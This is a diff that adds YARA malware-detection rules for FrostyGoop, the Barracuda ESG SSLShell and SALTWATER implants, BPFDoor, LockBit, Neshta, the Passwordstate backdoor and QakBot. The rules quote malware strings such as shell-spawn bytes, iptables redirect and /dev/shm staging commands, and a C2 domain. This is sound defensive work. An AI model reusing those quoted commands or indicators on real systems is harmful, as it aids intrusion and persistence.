+++ b/yara-Neo23x0/mal_go_modbus.yar
@@ -0,0 +1,27 @@
+
+rule MAL_Go_Modbus_Jul24_1 {
+   meta:
+      description = "Detects characteristics reported by Dragos for FrostyGoop ICS malware"
+      author = "Florian Roth"
+      reference = "https://hub.dragos.com/hubfs/Reports/Dragos-FrostyGoop-ICS-Malware-Intel-Brief-0724_.pdf"
+      date = "2024-07-23"
+      modified = "2024-07-24"
+      score = 75
+      hash1 = "5d2e4fd08f81e3b2eb2f3eaae16eb32ae02e760afc36fa17f4649322f6da53fb"
+   strings:
+      $a1 = "Go build"
+
+      $sa1 = "github.com/rolfl/modbus"
+
+      $sb1 = "main.TaskList.executeCommand"
+      $sb2 = "main.TargetList.getTargetIpList"
+      $sb3 = "main.TaskList.getTaskIpList"
+      $sb4 = "main.CycleInfo" fullword
+   condition:
+      filesize < 30MB
+      and (
+         $sa1
+         and 3 of ($sb*)
+      )
+      or 4 of them
+}
diff --git a/yara-Neo23x0/mal_lnx_barracuda_cve_2023_2868.yar b/yara-Neo23x0/mal_lnx_barracuda_cve_2023_2868.yar
new file mode 100644
index 0000000..ec25747
--- /dev/null
+++ b/yara-Neo23x0/mal_lnx_barracuda_cve_2023_2868.yar
@@ -0,0 +1,46 @@
+
+rule MAL_ELF_ReverseShell_SSLShell_Jun23_1 {
+   meta:
+      description = "Detects reverse shell named SSLShell used in Barracuda ESG exploitation (CVE-2023-2868)"
+      author = "Florian Roth"
+      reference = "https://www.barracuda.com/company/legal/esg-vulnerability"
+      date = "2023-06-07"
+      score = 75
+      hash1 = "8849a3273e0362c45b4928375d196714224ec22cb1d2df5d029bf57349860347"
+      id = "91b34eb7-61d2-592e-a444-249da43994ca"
+   strings:
+      $sc1 = { 00 2D 63 00 2F 62 69 6E 2F 73 68 00 }
+      $s1 = "SSLShell"
+   condition:
+      uint32be(0) == 0x7f454c46
+      and uint16(0x10) == 0x0002
+      and filesize < 5MB
+      and all of them
+}
+
+rule MAL_ELF_SALTWATER_Jun23_1 {
+   meta:
+      description = "Detects SALTWATER malware used in Barracuda ESG exploitations (CVE-2023-2868)"
+      author = "Florian Roth"
+      reference = "https://www.barracuda.com/company/legal/esg-vulnerability"
+      date = "2023-06-07"
+      score = 80
+      hash1 = "601f44cc102ae5a113c0b5fe5d18350db8a24d780c0ff289880cc45de28e2b80"
+      id = "10a038f6-6096-5d3a-aaf5-db441685102b"
+   strings:
+      $x1 = "libbindshell.so"
+      
+      $s1 = "ShellChannel"
+      $s2 = "MyWriteAll"
+      $s3 = "CheckRemoteIp"
+      $s4 = "run_cmd"
+      $s5 = "DownloadByProxyChannel"
+      $s6 = "[-] error: popen failed"
+      $s7 = "/home/product/code/config/ssl_engine_cert.pem"
+   condition:
+      uint16(0) == 0x457f and
+      filesize < 6000KB and (
+         ( 1 of ($x*) and 2 of them )
+         or 3 of them
+      ) or all of them
+}
diff --git a/yara-Neo23x0/mal_lnx_implant_may22.yar b/yara-Neo23x0/mal_lnx_implant_may22.yar
new file mode 100644
index 0000000..74ecf58
--- /dev/null
+++ b/yara-Neo23x0/mal_lnx_implant_may22.yar
@@ -0,0 +1,215 @@
+
+
+rule MAL_LNX_RedMenshen_BPFDoor_May23_1 {
+   meta:
+      description = "Detects BPFDoor malware"
+      author = "Florian Roth"
+      reference = "https://www.deepinstinct.com/blog/bpfdoor-malware-evolves-stealthy-sniffing-backdoor-ups-its-game"
+      date = "2023-05-11"
+      score = 80
+      hash1 = "afa8a32ec29a31f152ba20a30eb483520fe50f2dce6c9aa9135d88f7c9c511d7"
+      id = "25df4dba-ec6e-5999-b6be-56fe933cb0d0"
+   strings:
+      $x1 = "[-] Execute command failed" ascii fullword
+      $x2 = "/var/run/initd.lock" ascii fullword
+      
+      $xc1 = { 2F 00 3E 3E 00 65 78 69 74 00 72 00 }
+
+      $sc1 = { 9F CD 30 44 }
+      $sc2 = { 66 27 14 5E }
+
+      $sa1 = "TLS-CHACHA20-POLY1305-SHA256" ascii fullword
+
+      $sop1 = { 48 83 c0 01 4c 39 f8 75 ea 4c 89 7c 24 68 48 69 c3 d0 00 00 00 48 8b 5c 24 50 48 8b 54 24 78 48 c7 44 24 38 00 00 00 00 }
+      $sop2 = { 48 89 de f3 a5 89 03 8b 44 24 2c 39 44 24 28 44 89 4b 04 48 89 53 10 0f 95 c0 }
+      $sop3 = { 49 d3 cd 4d 31 cd b1 29 49 89 e9 49 d3 c8 4d 31 c5 4c 03 68 10 48 89 f9 }
+   condition:
+      // file-based detection
+      uint16(0) == 0x457f and
+      filesize < 900KB and (
+         ( 1 of ($x*) and 1 of ($s*) )
+         or 4 of them
+         /* looks for the magic byte sequences in close proximity to each other */
+         or ( 
+            all of ($sc*) 
+            and $sc1 in (@sc2[1]-50..@sc2[1]+50) 
+         )
+      // in-memory detection
+      ) or (
+         2 of ($x*)
+         or 5 of them
+      )
+}
+
+
+rule APT_MAL_LNX_RedMenshen_BPFDoor_Controller_May22_1 {
+   meta:
+      description = "Detects unknown Linux implants (uploads from KR and MO)"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896"
+      date = "2022-05-05"
+      score = 90
+      hash1 = "07ecb1f2d9ffbd20a46cd36cd06b022db3cc8e45b1ecab62cd11f9ca7a26ab6d"
+      hash2 = "4c5cf8f977fc7c368a8e095700a44be36c8332462c0b1e41bff03238b2bf2a2d"
+      hash3 = "599ae527f10ddb4625687748b7d3734ee51673b664f2e5d0346e64f85e185683"
+      hash4 = "5b2a079690efb5f4e0944353dd883303ffd6bab4aad1f0c88b49a76ddcb28ee9"
+      hash5 = "5faab159397964e630c4156f8852bcc6ee46df1cdd8be2a8d3f3d8e5980f3bb3"
+      hash6 = "93f4262fce8c6b4f8e239c35a0679fbbbb722141b95a5f2af53a2bcafe4edd1c"
+      hash7 = "97a546c7d08ad34dfab74c9c8a96986c54768c592a8dae521ddcf612a84fb8cc"
+      hash8 = "c796fc66b655f6107eacbe78a37f0e8a2926f01fecebd9e68a66f0e261f91276"
+      hash9 = "f8a5e735d6e79eb587954a371515a82a15883cf2eda9d7ddb8938b86e714ea27"
+      hash10 = "fd1b20ee5bd429046d3c04e9c675c41e9095bea70e0329bd32d7edd17ebaf68a"
+      id = "1438c3bf-3c42-59d5-9f3f-2d72bdaaac42"
+   strings:
+      $s1 = "[-] Connect failed." ascii fullword
+      $s2 = "export MYSQL_HISTFILE=" ascii fullword
+      $s3 = "udpcmd" ascii fullword
+      $s4 = "getshell" ascii fullword
+
+      $op1 = { e8 ?? ff ff ff 80 45 ee 01 0f b6 45 ee 3b 45 d4 7c 04 c6 45 ee 00 80 45 ff 01 80 7d ff 00 }
+      $op2 = { 55 48 89 e5 48 83 ec 30 89 7d ec 48 89 75 e0 89 55 dc 83 7d dc 00 75 0? }
+      $op3 = { e8 a? fe ff ff 0f b6 45 f6 48 03 45 e8 0f b6 10 0f b6 45 f7 48 03 45 e8 0f b6 00 8d 04 02 }
+      $op4 = { c6 80 01 01 00 00 00 48 8b 45 c8 0f b6 90 01 01 00 00 48 8b 45 c8 88 90 00 01 00 00 c6 45 ef 00 0f b6 45 ef 88 45 ee }
+   condition:
+      uint16(0) == 0x457f and
+      filesize < 80KB and 2 of them or 5 of them
+}
+
+rule APT_MAL_LNX_RedMenshen_BPFDoor_Controller_May22_2 {
+   meta:
+      description = "Detects BPFDoor implants used by Chinese actor Red Menshen"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896"
+      date = "2022-05-07"
+      score = 85
+      hash1 = "76bf736b25d5c9aaf6a84edd4e615796fffc338a893b49c120c0b4941ce37925"
+      hash2 = "96e906128095dead57fdc9ce8688bb889166b67c9a1b8fdb93d7cff7f3836bb9"
+      hash3 = "c80bd1c4a796b4d3944a097e96f384c85687daeedcdcf05cc885c8c9b279b09c"
+      hash4 = "f47de978da1dbfc5e0f195745e3368d3ceef034e964817c66ba01396a1953d72"
+      id = "d5c3d530-ed6f-563e-a3b0-55d4c82e4899"
+   strings:
+      $opx1 = { 48 83 c0 0c 48 8b 95 e8 fe ff ff 48 83 c2 0c 8b 0a 8b 55 f0 01 ca 89 10 c9 }
+      $opx2 = { 48 01 45 e0 83 45 f4 01 8b 45 f4 3b 45 dc 7c cd c7 45 f4 00 00 00 00 eb 2? 48 8b 05 ?? ?? 20 00 }
+
+      $op1 = { 48 8d 14 c5 00 00 00 00 48 8b 45 d0 48 01 d0 48 8b 00 48 89 c7 e8 ?? ?? ff ff 48 83 c0 01 48 01 45 e0 }
+      $op2 = { 89 c2 8b 85 fc fe ff ff 01 c2 8b 45 f4 01 d0 2d 7b cf 10 2b 89 45 f4 c1 4d f4 10 }
+      $op3 = { e8 ?? d? ff ff 8b 45 f0 eb 12 8b 85 3c ff ff ff 89 c7 e8 ?? d? ff ff b8 ff ff ff ff c9 }
+   condition:
+      uint16(0) == 0x457f and
+      filesize < 100KB and 2 of ($opx*) or 4 of them
+}
+
+rule APT_MAL_LNX_RedMenshen_BPFDoor_Controller_May22_3 {
+   meta:
+      description = "Detects BPFDoor implants used by Chinese actor Red Menshen"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896"
+      date = "2022-05-08"
+      score = 85
+      hash1 = "144526d30ae747982079d5d340d1ff116a7963aba2e3ed589e7ebc297ba0c1b3"
+      hash2 = "fa0defdabd9fd43fe2ef1ec33574ea1af1290bd3d763fdb2bed443f2bd996d73"
+      id = "91c2153a-a6e0-529e-852c-61f799838798"
+   strings:
+      $s1 = "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event" ascii fullword
+      $s2 = "/sbin/mingetty /dev" ascii fullword
+      $s3 = "pickup -l -t fifo -u" ascii fullword
+   condition:
+      uint16(0) == 0x457f and
+      filesize < 200KB and 2 of them or all of them
+}
+
+rule APT_MAL_LNX_RedMenshen_BPFDoor_Controller_Generic_May22_1 {
+   meta:
+      description = "Detects BPFDoor malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896"
+      date = "2022-05-09"
+      score = 90
+      hash1 = "07ecb1f2d9ffbd20a46cd36cd06b022db3cc8e45b1ecab62cd11f9ca7a26ab6d"
+      hash2 = "1925e3cd8a1b0bba0d297830636cdb9ebf002698c8fa71e0063581204f4e8345"
+      hash3 = "4c5cf8f977fc7c368a8e095700a44be36c8332462c0b1e41bff03238b2bf2a2d"
+      hash4 = "591198c234416c6ccbcea6967963ca2ca0f17050be7eed1602198308d9127c78"
+      hash5 = "599ae527f10ddb4625687748b7d3734ee51673b664f2e5d0346e64f85e185683"
+      hash6 = "5b2a079690efb5f4e0944353dd883303ffd6bab4aad1f0c88b49a76ddcb28ee9"
+      hash7 = "5faab159397964e630c4156f8852bcc6ee46df1cdd8be2a8d3f3d8e5980f3bb3"
+      hash8 = "76bf736b25d5c9aaf6a84edd4e615796fffc338a893b49c120c0b4941ce37925"
+      hash9 = "93f4262fce8c6b4f8e239c35a0679fbbbb722141b95a5f2af53a2bcafe4edd1c"
+      hash10 = "96e906128095dead57fdc9ce8688bb889166b67c9a1b8fdb93d7cff7f3836bb9"
+      hash11 = "97a546c7d08ad34dfab74c9c8a96986c54768c592a8dae521ddcf612a84fb8cc"
+      hash12 = "c796fc66b655f6107eacbe78a37f0e8a2926f01fecebd9e68a66f0e261f91276"
+      hash13 = "c80bd1c4a796b4d3944a097e96f384c85687daeedcdcf05cc885c8c9b279b09c"
+      hash14 = "f47de978da1dbfc5e0f195745e3368d3ceef034e964817c66ba01396a1953d72"
+      hash15 = "f8a5e735d6e79eb587954a371515a82a15883cf2eda9d7ddb8938b86e714ea27"
+      hash16 = "fa0defdabd9fd43fe2ef1ec33574ea1af1290bd3d763fdb2bed443f2bd996d73"
+      hash17 = "fd1b20ee5bd429046d3c04e9c675c41e9095bea70e0329bd32d7edd17ebaf68a"
+      id = "d30df2ae-7008-53c0-9a61-8346a9c9f465"
+   strings:
+      $op1 = { c6 80 01 01 00 00 00 48 8b 45 ?8 0f b6 90 01 01 00 00 48 8b 45 ?8 88 90 00 01 00 00 c6 45 ?? 00 0f b6 45 ?? 88 45 }
+      $op2 = { 48 89 55 c8 48 8b 45 c8 48 89 45 ?? 48 8b 45 c8 0f b6 80 00 01 00 00 88 45 f? 48 8b 45 c8 0f b6 80 01 01 00 00 }
+      $op3 = { 48 89 45 ?? 48 8b 45 c8 0f b6 80 00 01 00 00 88 45 f? 48 8b 45 c8 0f b6 80 01 01 00 00 88 45 f? c7 45 f8 00 00 00 00 }
+      $op4 = { 48 89 7d d8 89 75 d4 48 89 55 c8 48 8b 45 c8 48 89 45 ?? 48 8b 45 c8 0f b6 80 00 01 00 00 88 45 f? }
+      $op5 = { 48 8b 45 ?8 c6 80 01 01 00 00 00 48 8b 45 ?8 0f b6 90 01 01 00 00 48 8b 45 ?8 88 90 00 01 00 00 c6 45 ?? 00 0f b6 45 }
+      $op6 = { 89 75 d4 48 89 55 c8 48 8b 45 c8 48 89 45 ?? 48 8b 45 c8 0f b6 80 00 01 00 00 88 45 f? 48 8b 45 c8 }
+   condition:
+      uint16(0) == 0x457f and
+      filesize < 200KB and 2 of them or 4 of them
+}
+
+/* prone to FPs https://github.com/Neo23x0/signature-base/issues/282
+rule APT_MAL_LNX_RedMenshen_BPFDoor_Tricephalic_Implant_May22 {
+
+    meta:
+      description = "Detects BPFDoor/Tricephalic Hellkeeper passive implant"
+      author = "Exatrack"
+      reference = "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf"
+      date = "2022-05-09"
+      score = 90
+
+    strings:
+        $str_message_01 = "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event"
+        $str_message__02 = "/var/run/haldrund.pid"
+        
+        //$str_message_03 = "/bin/rm -f /dev/shm/%s;/bin/cp %s /dev/shm/%s && /bin/chmod 755 /dev/shm/%s && /dev/shm/%s --init && /bin/rm -f /dev/shm/%s" // in the stack
+        
+        $str_message_04 = "Cant fork pty"
+        $str_hald_05 = "/sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d"
+        
+        //$str_command_01 = "/sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d"
+        //$str_command_02 = "/sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT"
+        
+        $str_command_03 = "/bin/rm -f /dev/shm/%s"
+        
+        //$str_command_04 = "/bin/cp %s /dev/shm/%s"
+        //$str_command_05 = "/bin/chmod 755 /dev/shm/%s"
+
+        // $str_command_06 = "/dev/shm/%s --init"
+        // $str_server_01 = "[+] Spawn shell ok."
+        // $str_server_02 = "[+] Monitor packet send."
+
+        $str_server_03 = "[-] Spawn shell failed."
+        $str_server_04 = "[-] Can't write auth challenge"
+        $str_server_05 = "[+] Packet Successfuly Sending %d Size."
+        $str_server_06 = "[+] Challenging %s."
+        $str_server_07 = "[+] Auth send ok."
+        $str_server_08 = "[+] possible windows"
+
+        $str_filter_01 = "(udp[8:2]=0x7255)"
+        $str_filter_02 = "(icmp[8:2]=0x7255)"
+        $str_filter_03 = "(tcp[((tcp[12]&0xf0)>>2):2]=0x5293)"
+        
+        // $str_filter_04 = {15 00 ?? ?? 55 72 00 00}
+        //$str_filter_05 = {15 00 ?? ?? 93 52 00 00}
+        
+        $error_01 = "[-] socket"
+        $error_02 = "[-] listen"
+        $error_03 = "[-] bind"
+        $error_04 = "[-] accept"
+        $error_05 = "[-] Mode error."
+        $error_06 = "[-] bind port failed."
+        $error_07 = "[-] setsockopt"
+        $error_08 = "[-] missing -s"
+        $error_09 = "[-] sendto"
+    condition:
+        any of ($str*) or 3 of ($error*)
+}
+*/
diff --git a/yara-Neo23x0/mal_lockbit_lnx_macos_apr23.yar b/yara-Neo23x0/mal_lockbit_lnx_macos_apr23.yar
new file mode 100644
index 0000000..032f670
--- /dev/null
+++ b/yara-Neo23x0/mal_lockbit_lnx_macos_apr23.yar
@@ -0,0 +1,101 @@
+
+rule MAL_RANSOM_LNX_macOS_LockBit_Apr23_1 {
+   meta:
+      description = "Detects LockBit ransomware samples for Linux and macOS"
+      author = "Florian Roth"
+      reference = "https://twitter.com/malwrhunterteam/status/1647384505550876675?s=20"
+      date = "2023-04-15"
+      hash1 = "0a2bffa0a30ec609d80591eef1d0994d8b37ab1f6a6bad7260d9d435067fb48e"
+      hash2 = "9ebcbaf3c9e2bbce6b2331238ab584f95f7ced326ca4aba2ddcc8aa8ee964f66"
+      hash3 = "a405d034c01a357a89c9988ffe8a46a165915df18fd297469b2bcaaf97578442"
+      hash4 = "c9cac06c9093e9026c169adc3650b018d29c8b209e3ec511bbe34cbe1638a0d8"
+      hash5 = "dc3d08480f5e18062a0643f9c4319e5c3f55a2e7e93cd8eddd5e0c02634df7cf"
+      hash6 = "e77124c2e9b691dbe41d83672d3636411aaebc0aff9a300111a90017420ff096"
+      hash7 = "0be6f1e927f973df35dad6fc661048236d46879ad59f824233d757ec6e722bde"
+      hash8 = "3e4bbd21756ae30c24ff7d6942656be024139f8180b7bddd4e5c62a9dfbd8c79"
+      score = 85
+      id = "c01cb907-7d30-5487-b908-51f69ddb914c"
+   strings:
+      $x1 = "restore-my-files.txt" ascii fullword
+
+      $s1 = "ntuser.dat.log" ascii fullword
+      $s2 = "bootsect.bak" ascii fullword
+      $s3 = "autorun.inf" ascii fullword
+      $s4 = "lockbit" ascii fullword 
+
+      $xc1 = { 33 38 36 00 63 6D 64 00 61 6E 69 00 61 64 76 00 6D 73 69 00 6D 73 70 00 63 6F 6D 00 6E 6C 73 } /* extensions that get encrypted */
+      $xc2 = { 6E 74 6C 64 72 00 6E 74 75 73 65 72 2E 64 61 74 2E 6C 6F 67 00 62 6F 6F 74 73 65 63 74 2E 62 61 6B } /* file name list */
+      $xc3 = { 76 6D 2E 73 74 61 74 73 2E 76 6D 2E 76 5F 66 72 65 65 5F 63 6F 75 6E 74 00 61 2B 00 2F 2A } /* vm.stats + short strings */
+
+      $op1 = { 84 e5 f0 00 f0 e7 10 40 2d e9 2e 10 a0 e3 00 40 a0 e1 ?? fe ff }
+      $op2 = { 00 90 a0 e3 40 20 58 e2 3f 80 08 e2 3f 30 c2 e3 09 20 98 e1 08 20 9d }
+      $op3 = { 2d e9 01 70 43 e2 07 00 13 e1 01 60 a0 e1 08 d0 4d e2 02 40 }
+   condition:
+      ( uint32be(0) == 0x7f454c46 or uint16(0) == 0xfeca or uint16(0) == 0xfacf or uint32(0) == 0xbebafeca )
+      and ( 
+         1 of ($x*)
+         or 3 of them
+      ) 
+      or 2 of ($x*)
+      or 5 of them
+}
+
+rule MAL_RANSOM_LockBit_Apr23_1 {
+   meta:
+      description = "Detects indicators found in LockBit ransomware"
+      author = "Florian Roth"
+      reference = "https://objective-see.org/blog/blog_0x75.html"
+      date = "2023-04-17"
+      score = 75
+      id = "75dc8b95-16f0-5170-a7d6-fc10bb778348"
+   strings:
+      $xe1 = "-i '/path/to/crypt'" xor
+      $xe2 = "http://lockbit" xor
+      
+      $s1 = "idelayinmin" ascii
+      $s2 = "bVMDKmode" ascii
+      $s3 = "bSelfRemove" ascii
+      $s4 = "iSpotMaximum" ascii
+
+      $fp1 = "<html"
+   condition:
+      (
+         1 of ($x*)
+         or 4 of them
+      )
+      and not 1 of ($fp*)
+}
+
+rule MAL_RANSOM_LockBit_Locker_LOG_Apr23_1 {
+   meta:
+      description = "Detects indicators found in LockBit ransomware log files"
+      author = "Florian Roth"
+      reference = "https://objective-see.org/blog/blog_0x75.html"
+      date = "2023-04-17"
+      score = 75
+      id = "aa0a2393-e5a2-5151-8afb-91a9bb922179"
+   strings:
+      $s1 = " is encrypted. Checksum after encryption "
+      $s2 = "~~~~~Hardware~~~~"
+      $s3 = "[+] Add directory to encrypt:"
+      $s4 = "][+] Launch parameters: "
+   condition:
+      2 of them
+}
+
+rule MAL_RANSOM_LockBit_ForensicArtifacts_Apr23_1 {
+   meta:
+      description = "Detects forensic artifacts found in LockBit intrusions"
+      author = "Florian Roth"
+      reference = "https://objective-see.org/blog/blog_0x75.html"
+      date = "2023-04-17"
+      score = 75
+      id = "e716030c-ee78-51dc-919c-cf59e93da976"
+   strings:
+      $x1 = "/tmp/locker.log" ascii fullword
+      $x2 = "Executable=LockBit/locker_" ascii
+      /* Tor Browser Links:\x0d\x0ahttp://lockbit */
+      $xc1 = { 54 6F 72 20 42 72 6F 77 73 65 72 20 4C 69 6E 6B 73 3A 0D 0A 68 74 74 70 3A 2F 2F 6C 6F 63 6B 62 69 74 }
+   condition:
+      1 of ($x*)
+}
diff --git a/yara-Neo23x0/mal_netsha.yar b/yara-Neo23x0/mal_netsha.yar
new file mode 100644
index 0000000..1bb1401
--- /dev/null
+++ b/yara-Neo23x0/mal_netsha.yar
@@ -0,0 +1,36 @@
+import "pe"
+
+rule MAL_Neshta_Generic : HIGHVOL {
+   meta:
+      description = "Detects Neshta malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-01-15"
+      modified = "2021-04-14"
+      hash1 = "27c67eb1378c2fd054c6649f92ec8ee9bfcb6f790224036c974f6c883c46f586"
+      hash1 = "0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e"
+      hash2 = "b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb"
+      hash3 = "1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb"
+      id = "9a3b8369-7e19-5c21-9eba-0bb81507696a"
+   strings:
+      $x1 = "the best. Fuck off all the rest."
+      $x2 = "! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]" fullword ascii
+
+      $s1 = "Neshta" ascii fullword
+      $s2 = "Made in Belarus. " ascii fullword
+
+      $op1 = { 85 c0 93 0f 85 62 ff ff ff 5e 5b 89 ec 5d c2 04 }
+      $op2 = { e8 e5 f1 ff ff 8b c3 e8 c6 ff ff ff 85 c0 75 0c }
+      $op3 = { eb 02 33 db 8b c3 5b c3 53 85 c0 74 15 ff 15 34 }
+
+      $sop1 = { e8 3c 2a ff ff b8 ff ff ff 7f eb 3e 83 7d 0c 00 }
+      $sop2 = { 2b c7 50 e8 a4 40 ff ff ff b6 88 }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 3000KB and (
+         1 of ($x*) or 
+         all of ($s*) or 
+         3 of them or 
+         pe.imphash() == "9f4693fc0c511135129493f2161d1e86"
+      )
+}
diff --git a/yara-Neo23x0/mal_passwordstate_backdoor.yar b/yara-Neo23x0/mal_passwordstate_backdoor.yar
new file mode 100644
index 0000000..db534f5
--- /dev/null
+++ b/yara-Neo23x0/mal_passwordstate_backdoor.yar
@@ -0,0 +1,24 @@
+rule MAL_Passwordstate_Moserware_Backdoor_Apr21_1 {
+   meta:
+      description = "Detects backdoor used in Passwordstate incident"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://thehackernews.com/2021/04/passwordstate-password-manager-update.html"
+      date = "2021-04-25"
+      hash1 = "c2169ab4a39220d21709964d57e2eafe4b68c115061cbb64507cfbbddbe635c6"
+      hash2 = "f23f9c2aaf94147b2c5d4b39b56514cd67102d3293bdef85101e2c05ee1c3bf9"
+      id = "061de3ae-c404-5e4a-a16b-b3b208b1ae7f"
+   strings:
+      $x1 = "https://passwordstate-18ed2.kxcdn.com" wide
+
+      $s1 = " ProxyUserName, ProxyPassword FROM [SystemSettings]" wide fullword
+      $s2 = "PasswordstateService.Passwordstate.Crypto" wide
+      $s3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari" wide fullword
+
+      $op1 = { 00 4c 00 4e 00 43 00 4c 00 49 00 31 00 31 00 3b 00 00 17 }
+      $op2 = { 4c 00 49 00 31 00 31 00 3b 00 00 17 50 00 72 00 }
+      $op3 = { 61 00 74 00 65 00 2d 00 31 00 38 00 65 00 64 00 32 00 2e 00 6b 00 78 00 }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 200KB and
+      1 of ($x*) or 3 of them
+}
diff --git a/yara-Neo23x0/mal_qbot_feb23.yar b/yara-Neo23x0/mal_qbot_feb23.yar
new file mode 100644
index 0000000..37fd42c
--- /dev/null
+++ b/yara-Neo23x0/mal_qbot_feb23.yar
@@ -0,0 +1,55 @@
+
+rule MAL_QakBot_ConfigExtraction_Feb23
+{
+    meta:
+        author = "kevoreilly"
+        description = "QakBot Config Extraction"
+        cape_options = "bp0=$params+23,action0=setdump:eax::ecx,bp1=$c2list1+40,bp1=$c2list2+38,action1=dump,bp2=$conf+13,action2=dump,count=1,typestring=QakBot Config"
+        packed = "f084d87078a1e4b0ee208539c53e4853a52b5698e98f0578d7c12948e3831a68"
+        reference = "https://github.com/kevoreilly/CAPEv2/blob/master/analyzer/windows/data/yara/QakBot.yar"
+        date = "2023-02-17"
+        license = "https://github.com/kevoreilly/CAPEv2/blob/master/LICENSE"
+        id = "401184cf-bbd7-5afe-9589-470f54721af1"
+    strings:
+        $params = {8B 7D ?? 8B F1 57 89 55 ?? E8 [4] 8D 9E [2] 00 00 89 03 59 85 C0 75 08 6A FC 58 E9}
+        $c2list1 = {59 59 8D 4D D8 89 45 E0 E8 [4] 8B 45 E0 85 C0 74 ?? 8B 90 [2] 00 00 51 8B 88 [2] 00 00 6A 00 E8}
+        $c2list2 = {59 59 8B F8 8D 4D ?? 89 7D ?? E8 [4] 85 FF 74 52 8B 97 [2] 00 00 51 8B 8F [2] 00 00 53 E8}
+        $conf = {5F 5E 5B C9 C3 51 6A 00 E8 [4] 59 59 85 C0 75 01 C3}
+    condition:
+        uint16(0) == 0x5A4D and any of them
+}
+
+rule MAL_QakBotLoader_Export_Section_Feb23
+{
+    meta:
+        author = "kevoreilly"
+        description = "QakBot Export Selection"
+        cape_options = "export=$export"
+        hash = "6f99171c95a8ed5d056eeb9234dbbee123a6f95f481ad0e0a966abd2844f0e1a"
+        reference = "https://github.com/kevoreilly/CAPEv2/blob/master/analyzer/windows/data/yara/QakBot.yar"
+        date = "2023-02-17"
+        license = "https://github.com/kevoreilly/CAPEv2/blob/master/LICENSE"
+        id = "cb86e9fb-a8d2-5285-aeda-622704399f8e"
+    strings:
+        $export = {55 8B EC 83 EC 50 (3A|66 3B) ?? 74}
+        $wind = {(66 3B|3A) ?? 74 [1-14] BB 69 04 00 00 53 E8 [5-7] 74}
+    condition:
+        uint16(0) == 0x5A4D and all of them
+}
+
+rule MAL_QakBotAntiVM_AntiVM_Bypass_Feb23
+{
+    meta:
+        author = "kevoreilly"
+        description = "QakBot AntiVM bypass"
+        cape_options = "bp0=$antivm1,action0=unwind,count=1"
+        hash = "e269497ce458b21c8427b3f6f6594a25d583490930af2d3395cb013b20d08ff7"
+        reference = "https://github.com/kevoreilly/CAPEv2/blob/master/analyzer/windows/data/yara/QakBot.yar"
+        date = "2023-02-17"
+        license = "https://github.com/kevoreilly/CAPEv2/blob/master/LICENSE"
+        id = "7446522a-788a-512d-ad68-2fcc56169f5a"
+    strings:
+        $antivm1 = {55 8B EC 3A E4 0F [2] 00 00 00 6A 04 58 3A E4 0F [2] 00 00 00 C7 44 01 [5] 81 44 01 [5] 66 3B FF 74 ?? 6A 04 58 66 3B ED 0F [2] 00 00 00 C7 44 01 [5] 81 6C 01 [5] EB}
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/mal_qbot_payloads.yar b/yara-Neo23x0/mal_qbot_payloads.yar
new file mode 100644
index 0000000..523b120
--- /dev/null
+++ b/yara-Neo23x0/mal_qbot_payloads.yar
@@ -0,0 +1,55 @@
+
+rule MAL_QBot_HTML_Smuggling_Indicators_Oct22_1 {
+   meta:
+      description = "Detects double encoded PKZIP headers as seen in HTML files used by QBot"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/ankit_anubhav/status/1578257383133876225?s=20&t=Bu3CCJCzImpTGOQX_KGsdA"
+      date = "2022-10-07"
+      score = 75
+      hash1 = "4f384bcba31fda53e504d0a6c85cee0ce3ea9586226633d063f34c53ddeaca3f"
+      hash2 = "8e61c2b751682becb4c0337f5a79b2da0f5f19c128b162ec8058104b894cae9b"
+      hash3 = "c5d23d991ce3fbcf73b177bc6136d26a501ded318ccf409ca16f7c664727755a"
+      hash4 = "5072d91ee0d162c28452123a4d9986f3df6b3244e48bf87444ce88add29dd8ed"
+      hash5 = "ff4e21f788c36aabe6ba870cf3b10e258c2ba6f28a2d359a25d5a684c92a0cad"
+      id = "8034d6af-4dae-5ff6-b635-efb5175fe4d1"
+   strings:
+      /* Double base64 encoded - as seen in HTML */
+      $sd1 = "VUVzREJCUUFBUUFJQ"
+      $sd2 = "VFc0RCQlFBQVFBSU"
+      $sd3 = "VRXNEQkJRQUFRQUlB"
+      /* reversed */
+      $sdr1 = "QJFUUBFUUCJERzVUV"
+      $sdr2 = "USBFVQBFlQCR0cFV"
+      $sdr3 = "BlUQRFUQRJkQENXRV"
+
+      /* Triple base64 encoded - to detect the double encoded versions in email attachments */
+      $st1 = "VlVWelJFSkNVVUZCVVVGSl"
+      $st2 = "ZVVnpSRUpDVVVGQlVVRkpR"
+      $st3 = "WVVZ6UkVKQ1VVRkJVVUZKU"
+      $st4 = "VkZjMFJDUWxGQlFWRkJTV"
+      $st5 = "ZGYzBSQ1FsRkJRVkZCU1"
+      $st6 = "WRmMwUkNRbEZCUVZGQlNV"
+      $st7 = "VlJYTkVRa0pSUVVGUlFVbE"
